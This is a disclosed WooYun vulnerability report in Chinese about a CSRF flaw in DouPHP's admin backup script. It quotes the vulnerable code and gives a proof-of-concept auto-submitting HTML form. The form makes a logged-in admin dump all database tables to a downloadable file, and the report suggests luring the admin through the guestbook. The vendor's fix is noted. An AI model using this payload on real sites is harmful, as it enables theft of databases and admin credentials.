当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077655

漏洞标题:DouPHP可CSRF脱裤

相关厂商:douco.com

漏洞作者: xiaoL

提交时间:2014-09-28 18:02

修复时间:2014-12-27 18:04

公开时间:2014-12-27 18:04

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-28: 细节已通知厂商并且等待厂商处理中
2014-09-28: 厂商已经确认,细节仅向厂商公开
2014-10-01: 细节向第三方安全合作伙伴开放
2014-11-22: 细节向核心白帽子及相关领域专家公开
2014-12-02: 细节向普通白帽子公开
2014-12-12: 细节向实习白帽子公开
2014-12-27: 细节向公众公开

简要描述:

DouPHP可CSRF脱裤。

详细说明:

在www\admin\backup.php:

if ($rec == 'backup') {
$fileid = isset($_REQUEST['fileid']) ? $_REQUEST['fileid'] : 1;
$tables = $_REQUEST['tables'];
$vol_size = $_REQUEST['vol_size'];
$totalsize = $_REQUEST['totalsize'];
$file_name = $_REQUEST['file_name']; //1、用户输入的文件作为备份文件名

// 判断备份文件名是否规范
if (!$check->is_backup_file($file_name . '.sql')) //2、is_backup_file 仅检查是否是字母数字开头、.sql结尾
$dou->dou_msg($_LANG['backup_file_name_not_valid'], 'backup.php');

if ($fileid == 1 && $tables) {
if (!isset($tables) || !is_array($tables)) {
$dou->dou_msg($_LANG['backup_no_select'], 'backup.php');
}
$cache_file = ROOT_PATH . 'data/backup/tables.php';
$content = "<?php\r\n";
$content .= "\$data = " . var_export($tables, true) . ";\r\n";
$content .= "?>";
file_put_contents($cache_file, $content, LOCK_EX);
} else {
include ROOT_PATH . 'data/backup/tables.php';
$tables = $data;
if (!$tables) {
$dou->dou_msg($_LANG['backup_no_select'], 'backup.php');
}
}

if ($dou->version() > '4.1' && $sqlcharset) {
$dou->query("SET NAMES '" . $sqlcharset . "';\n\n");
}

$sqldump = '';
$tableid = isset($_REQUEST['tableid']) ? $_REQUEST['tableid'] - 1 : 0;
$startfrom = isset($_REQUEST['startfrom']) ? intval($_REQUEST['startfrom']) : 0;
$tablenumber = count($tables);

for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $vol_size * 1024; $i++) {
$sqldump .= $dump->sql_dumptable($tables[$i], $vol_size, $startfrom, strlen($sqldump));
$startfrom = 0;
}

if (trim($sqldump)) {
$sqldump = "-- douweb v1.x SQL Dump Program\n" . "-- " . ROOT_URL . "\n" . "-- \n" . "-- DATE : " . date('Y-m-d H:i:s') . "\n" .
"-- MYSQL SERVER VERSION : " . $dou->version() . "\n" . "-- PHP VERSION : " . PHP_VERSION . "\n" . "-- Douweb VERSION : " .
$_CFG['dou_version'] . "\n\n" . $sqldump;

$tableid = $i;

if ($vol_size > $totalsize) {
$sql_file_name = $file_name . '.sql';
} else {
$sql_file_name = $file_name . '_' . $fileid . '.sql';
}

$fileid++;

$bakfile = ROOT_PATH . '/data/backup/' . $sql_file_name; //3、写入了文件

if (!is_writable(ROOT_PATH . '/data/backup/')) {
$dou->dou_msg($_LANG['backup_no_save'], 'backup.php');
}

file_put_contents($bakfile, $sqldump);
@ chmod($bakfile, 0777);

$dou->create_admin_log($_LANG['backup'] . ": " . $sql_file_name);

$_LANG['backup_file_success'] = preg_replace('/d%/Ums', $sql_file_name, $_LANG['backup_file_success']);
$dou->dou_msg($_LANG['backup_file_success'], 'backup.php?rec=' . $rec . '&vol_size=' . $vol_size . '&totalsize=' . $totalsize . '&file_name=' .
$file_name . '&tableid=' . $tableid . '&fileid=' . $fileid . '&startfrom=' . $startrow, '', 1);
} else {
@ unlink(ROOT_PATH . 'data/backup/tables.php');
$dou->dou_msg($_LANG['backup_success'], 'backup.php?rec=restore');
}
}


可以看到其中没有csrf防御,而且用户文件名可自定义。
备份文件夹在
www\data\backup目录下

漏洞证明:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<form name="csrf" action="http://127.0.0.1/admin/backup.php?rec=backup" method="post">
<input type="hidden" name="chkall" value="check">
<input type="hidden" name="tables[]" value="dou_admin">
<input type="hidden" name="tables[]" value="dou_admin_log">
<input type="hidden" name="tables[]" value="dou_article">
<input type="hidden" name="tables[]" value="dou_article_category">
<input type="hidden" name="tables[]" value="dou_config">
<input type="hidden" name="tables[]" value="dou_guestbook">
<input type="hidden" name="tables[]" value="dou_link">
<input type="hidden" name="tables[]" value="dou_nav">
<input type="hidden" name="tables[]" value="dou_page">
<input type="hidden" name="tables[]" value="dou_product">
<input type="hidden" name="tables[]" value="dou_product_category">
<input type="hidden" name="tables[]" value="dou_show">
<input type="hidden" name="file_name" value="xxxxxxxxxxxx">
<input type="hidden" name="vol_size" value="2048">
<input type="hidden" name="totalsize" value="120">
</form></body>
<script>
document.csrf.submit();
</script>
</body>
</html>
在前台给管理员留言处发一句具有诱惑性的话,骗取点击。即可生成备份文件,可直接下载
http://127.0.0.1/data/backup/xxxxxxxxxxxx.sql

修复方案:

csrf漏洞利用

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2014-09-28 19:15

厂商回复:

已经修正,通过加入一次性令牌,仿制CRSF,谢谢提醒!

最新状态:

暂无